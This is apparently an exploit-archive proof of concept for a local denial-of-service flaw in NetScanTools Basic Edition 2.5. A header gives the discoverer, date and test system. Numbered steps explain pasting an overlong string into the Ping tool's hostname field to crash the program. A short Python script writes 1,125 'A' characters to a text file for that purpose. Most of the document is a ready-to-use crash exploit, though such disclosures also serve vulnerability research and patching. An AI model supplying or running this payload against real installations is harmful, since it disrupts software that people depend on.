# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)
# Discovery by: Luis MartAnez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.netscantools.com/
# Software Link : http://download.netscantools.com/nstb250.zip
# Tested Version: 2.5
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to Produce the Crash:
# 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py
# 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard
# 3.- Open NstBasic.exe
# 4.- Ping and Traceroute Tools
# 5.- Ping
# 6.- Paste ClipBoard on Target Hostname or IPv4 Address
# 7.- Do Ping
# 8.- Crashed
#!/usr/bin/env python
buffer = "\x41" * 1125
f = open ("NetScanTools_Basic_Edition_2.5.txt", "w")
f.write(buffer)
f.close()
